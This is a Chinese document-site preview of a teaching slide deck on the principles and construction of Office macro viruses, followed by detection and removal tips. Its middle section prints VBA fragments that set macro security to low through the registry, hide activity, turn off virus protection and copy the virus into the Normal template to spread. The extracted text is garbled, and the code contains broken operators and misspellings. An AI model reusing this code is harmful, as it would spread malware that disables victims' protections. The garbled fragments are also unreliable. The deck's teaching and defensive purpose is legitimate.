宏病毒原理及实现【优质参考】_第1页
宏病毒原理及实现【优质参考】_第2页
宏病毒原理及实现【优质参考】_第3页
宏病毒原理及实现【优质参考】_第4页
宏病毒原理及实现【优质参考】_第5页
已阅读5页,还剩34页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

1、宏病毒的原理及实现,1,严选内容,2,严选内容,宏(macro),就是软件设计者为了在使用软件工作时,避免一再的重复相同的动作而设计出来的一种工具。它利用简单的语法,把常用的动作写成宏,当再工作时,就可以直接利用事先写好的宏自动运行,去完成某项特定的任务,而不必再重复相同的动作。,什么是“宏”?,Microsoft Office、wps等办公软件 魔兽世界、剑网等游戏,哪里用到“宏”?,Office 宏的定义:Microsoft Word中对宏定义为:“宏就是能组织到一起作为一独立的命令使用的一系列word命令,它能使日常工作变得更容易”,3,严选内容,宏语言,宏语言即VISUAL BASIC

2、 FOR APPLICATION,简称 VBA。 VBA 可以访问许多操作系统函数并支持文档打开时自动执行宏 这使得用这种语言写计算机病毒成为可能,4,严选内容,Office各版本及其宏语言,5,严选内容,Office自带 Visual Basic 编辑器,注: 1、调用VB编辑器的快捷方式: Alt + F11 2、查看宏的快捷键: Alt + F8,office2007 查看宏代码可以点击: 视图 宏 编辑,6,严选内容,VBA简介,直到90年代早期,使应用程序自动化还是充满挑战性的领域。对每个需要自动化的应用程序,人们不得不学习一种不同的自动化语言。例如: 用EXCEL的宏语言来使EXC

3、EL自动化,使用WORD BASIC使WORD自动化等等。 微软开发出来的应用程序共享一种通用的自动化语言-Visual Basic For Application(VBA),实际上VBA是寄生于VB应用程序的版本。 VB是设计用于创建标准的应用程序,而VBA是使已有的应用程序(EXCEL等)自动化。,7,严选内容,word创建宏,Word 提供了两种创建宏的方法:宏录制器和 Visual Basic 编辑器。 宏录制器可帮助用户开始创建宏。Word 在 VBA编程语言中把宏录制为一系列的 Word 命令。可在 Visual Basic编辑器中打开已录制的宏,修改其中的指令。也可用 Visua

4、l Basic编辑器创建包括 Visual Basic 指令的非常灵活和强有力的宏,这些指令无法采用录制的方式。,8,严选内容,基于word的VBA编程,Sub AutoOpen() 定义函数名,AutoXXX为自动宏 While True 恶意代码 ,死循环 Msgbox ”Hello world” 调用对话框显示消息 Wend End Sub 函数到此结束,9,严选内容,基于word的VBA编程,Sub AutoOpen() Command.Caption = Shell C:Program FilesInternet ExplorerIEXPLORE.EXE vbNormalFocus

5、For i = 1 To 10 Documents.Add 新添加一个word文档 Next i End Sub,调用操作系统 Shell函数,打开已安装的应用程序,10,严选内容,Office有了宏,宏在office中的什么位置?,11,严选内容,为了方便人们使用宏以及宏文件的传递使用,Word定义出一种文件格式,将文档以及该文档所需要的宏合在一起放在后缀为.dot的文件之中。正因为这种是宏也是资料的文档格式,便产生了宏感染的可能性。,但是,Normal.dot上不能用来存储数据,每次修改后都需另外保存。,有没有一种文档格式,既可以存储宏,又可以用来存储数据?,12,严选内容,一、模板文件格

6、式:.dot文档:模板文档,新文档继承模板的属性( 宏、菜单、格式等)。 Normal.dot文件:全局模板,在建立整个文档中所起的作用是作为一个基类,是新建文档默认的模板。,二、数据文件格式 .doc一种可以存贮宏的普通文档; .docx一种不包含宏的普通文档; .docm一种包含宏或启用了宏的文档; .dotx一种不包含宏的模板; .dotm一种包含宏或启用了宏的模板。,13,严选内容,宏就在office文档里 用普通文档即可传播宏文件,写代码简单,传播更简单,那么,我们可不可以做点别的事?,14,严选内容,其实宏病毒的出现并非出乎人们的意料,早在80年代后期就有专家预言过。那时,有些学生

7、就用某些应用程序的宏语言编写病毒。然而,宏病毒与普通病毒不同,它不感染.EXE或.COM文件,而只感染文档文件。宏病毒就像自然界中令人恐惧的龙卷风,对人们正常使用计算机进行学习和工作带来了不可估量的影响,同时也造成了社会财富的巨大浪费。,15,严选内容,1. Concept宏病毒,世界上的第一个宏病毒Concept可以感染Windows和苹果机上的Microsoft Word文档。这个病毒是用Microsoft Word 6.0中的宏语言编写的,但它也能感染其他Word版本创建的文档。看起来编写Concept宏病毒是为了证明确实可以用宏编程语言编写病毒。因此,Concept宏病毒只是显示一个对

8、话框,宣示它的存在,并不故意破坏磁盘上的任何文件。,16,严选内容,2 Nuclear宏病毒 这是一个对操作系统文件和打印输出有破坏功能的宏病毒。这个宏病毒中包含以下病毒宏:AutoExec AutoOpen DropSuriv FileExit FilePrint FilePrint DefaultFile SaveAs 这些宏是只执行(Execute-only)宏 Nuclear宏病毒造成的破坏现象为: (1)打开一个染毒文档井打印的时候,它会在您打印的最后一段加上“STOPALLFRENCHNUCLEARTESTING INTHEPACIFIC!”,这个现象是在每分钟的55秒60秒之间操

9、作打印时发生。 (2)如果在每天17:0018:00之间打开一个染毒文档,Nuclear病毒会将PH33R病毒传染到计算机上,这是个 驻留型病毒。 (3)在每年的4月5日,该病毒会将计算机上IO.SYS和MSDOS.SYS文件清零,并且删除C盘根目录上的COMMAND. COM文件。一旦病毒发作,MSDOS就不可能被引导,计算机将陷入瘫痪。,17,严选内容,3 台湾一号病毒 台湾一号病毒会在每月的13日影响您正常使用Word文档和编辑器。它包含以下病毒宏:AutoClose、AutoNew、AutoOpen这些宏是可被编辑宏。在病毒宏中含有如下的语句:IfDay(Now()=13Then.这条

10、语句与13日有关。台湾一号病毒造成的危害是:在每月13日,若用户使用Word打开一个带毒的文档(模板)时,病毒会被激发。激发时的现象是:在屏幕正中央弹出一个对话框,该对话框提示用户做一个心算题,如做错,它将会无限制地打开文件,直至Word内存不够,Word出错为止;如心算题做对,会提示用户“什么是巨集病毒(宏病毒)?”,回答“我就是巨集病毒”,再提示用户:“如何预防巨集病毒?”,回答是“不要看我”。,18,严选内容,2.1 宏病毒简介,什么是宏病毒?,宏病毒是一种寄存在文档或模板的宏中的计算机病毒。一旦打开这样的文档,其中的宏自动被执行,于是宏病毒就会被激活,转移到计算机上,并驻留在Norma

11、l模板上。从此以后,所有自动保存的文档都会“感染”上这种宏病毒,而且如果其他用户打开了感染病毒的文档,宏病毒又会转移到他的计算机上。,19,严选内容,宏病毒的特点,(1)宏病毒会感染.DOC文档和.DOT模版文件。 (2) 宏病毒的传染通常是WORD在打开一个带宏病毒的文档或模版时,激活宏病毒。 (3)多数宏病毒包含AutoOpen、AutoClose、AutoNew和AutoExit 等自动宏,通过这些自动宏病毒取得文档(模版)操作权。 (4)宏病毒中总是含有对文档读写操作的宏命令。 (5)病毒原理简单,制作比较方便。 (6)传播速度相对较快。,20,严选内容,WORD 宏病毒的生命周期,2

12、1,严选内容,编程语言:VBA、WordBasic等 运行环境:VBE,Word宏病毒的感染过程,22,严选内容,宏病毒原理大揭秘,23,严选内容,1、降低宏安全级别,以office2003版为例If Application.Version “11.0” Then 判断office版本strFullname = ThisWorkbook.FullName 取得当前工作薄的全名strVBS = Replace(UCase(strFullname), .XLS, .vbs) temp文件VBS的文件名Set WSH = CreateObject(“Wscript.Shell”) 创建Wscript

13、对象Err.ClearOn Error Resume Next 出错不提示,继续regStr =,24,严选内容,HKEY_CURRENT_USERSoftwareMicrosoftOffice11.0WordSecurityLevel“ 注册表中Excel vba安全级别位置ret = WSH.RegRead(regStr) 读取当前安全级别If Err.Number 0 Then 判断读取是否成功 vbOKOnly + vbCritical, Keanjeason Exit SubElse 如果当前Excel VBA安全级别不为“低”,则设置为“低”,值1-4分别对应:低,中,高,非常高

14、If Val(ret) 1 Then ret = WSH.RegWrite(regStr, 1, REG_DWORD)End If,25,严选内容,1、用户使用Word执行打开文档、保存文档、打印文档和关闭文档等操作时,Word会查找指定的标准宏: 例1:关闭文档之前查找“FileSave”宏,如果存在,首先执行这个宏 例2:打印文档之前首先查找“FilePrint”宏,如果存在则执行这个宏,2、Word中另外还有一些以“Auto”开始的宏(自动宏),如“AutoOpen”、“AutoClose”等,如果建立了这些宏,打开/关闭文档的时候将自动执行这些宏,这些宏一般是全局宏,对任何Word文档

15、都有效。,病毒触发要隐含在正常的操作中,这些自动执行的宏然是最好的宿主。,2、文档的控制权获取,26,严选内容,宏病毒常用到的宏如下表所示,27,严选内容,高明的病毒编写者其自我保护将做得非常好,可以使word的一些工具栏失效,例如将工具菜单中的宏选项屏蔽,也可以修改注册表达到很好的隐藏效果。,常用代码示例: On Error Resume Next 如果发生错误,不弹出出错窗口,继续执行下面语句 Application.DisplayAlert = wdAlertsNoe 不弹出警告窗口 Application.EnableCancelKey = wdCancelDisabled 不允许通过

16、ESC键结束正在运行的宏 Application.DisplayStatusBar = False 不显示状态栏,避免显示宏的运行状态 Application.ScreenUpdating = False 不让刷新屏幕,避免病毒运行引起刷新速度变慢 Option.VirusProtection = False 关闭病毒保护功能,运行前如果包含宏,不提示 Option.SaveNormalPrompt = False 如果公用模板被修改,不给用户提示窗口而直接保存,3、宏病毒的自我隐藏,28,严选内容,1、Word宏病毒一般都首先隐藏在一个指定的Word文档中,一旦打开了这个Word文档,宏病毒

17、就被执行,宏病毒要做的第一件事情就是将自己拷贝到全局宏的区域,使得所有打开的文档都可使用这个宏。,2、当Word退出的时候,全局宏将被存储在某个全局的模板文档(.dot文件)中,这个文件的名字通常是“Normal.dot”,即Normal模板。,3、如果全局宏模板被感染,则Word再启动的时候将自动载入宏病毒并且自动执行。,4、传播与感染,29,严选内容,1)得到正在操作的文档代码对象和公用模板的代码对象。 Ourcode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 100) Set Host = NormalTem

18、plate.VBProject.VBComponents(1).CodeModule If ThisDocument = NormalTemplate Then Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule End If,2) 检查模板是否已经感染病毒,如果没有,则复制宏病毒代码到模板,并且修改函数名。 With host If .Lines(1, 1) moonlight Then .DeleteLines 1, .CountOfLines .InsertLines 3, Sub Document_Close()

19、 If ThisDocument = NormalTemplate Then .RbeplaceLine 3, Sub Document_Open() ActiveDocument.SaveAs ActiveDocument.FullName End If End If End With,30,严选内容,宏病毒预防,31,严选内容,宏病毒离不开可供其运行的系统软件(WORD,EXCEL 等OFFICE 软件),所以宏病毒的检测其实非常容易。只要留意一下常用的OFFICE 系统软件是不是出现了一些不正常的现象,就能大概知道计算机是不是染上了宏病毒。,如何及时发现宏病毒?,32,严选内容,(1)全

20、局模板中出现宏。 (2)无故出现存盘操作。 (3)OFFICE功能混乱,无法使用。 (4)OFFICE菜单命令消失。 (5)OFFICE文档的内容发生变化。 (6)尝试保存文档时,只允许将文档保存为文档模版的格式。 (7)文档图标的外形类似模板而非文档图标。,Office不正常现象集锦,33,严选内容,感染了宏病毒后,同样可以用防治计算机病毒的软件来查杀,亦可采用以下方法进行手工处理: 1、通过删除宏命令的形式删除宏病毒。 2、通过复制粘贴清除宏病毒代码方式清除宏病毒。 3、通过删除NORMAL.DOT来除掉Word宏病毒。 4、通过格式转换清除Word 宏病毒。 5、通过高版本的Word发现

21、病毒宏。 6、为防万一,在打开怀疑感染了宏病毒的文档时按住SHIFT键,这样可以避免宏自动运行,如果有宏病毒,则不会加载宏。,宏病毒的清除,34,严选内容,日常办公中,如何去避免宏病毒?,35,严选内容,1、初级防护设置宏安全等级,针对 Office 2007 Officeword选项信任中心宏设置,为了防止利用“VBA”语言编制专门破坏电脑系统的病毒程序,Office自带了“宏”检测功能。设置宏的安全级别较高时,打开带有“宏”的文档时,会提示用户注意,并让用户自行选择是否启用“宏”。,36,严选内容,(1)根据AUTO宏的自动执行的特点,在打开office文档时,可按住shift键,来避免自动宏的运行。,(2)当怀疑系统带有宏病毒时,首先应检查是否存在可疑的宏,也就是一些用户没有编制过、也不是OFFICE默认提供而出现的

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论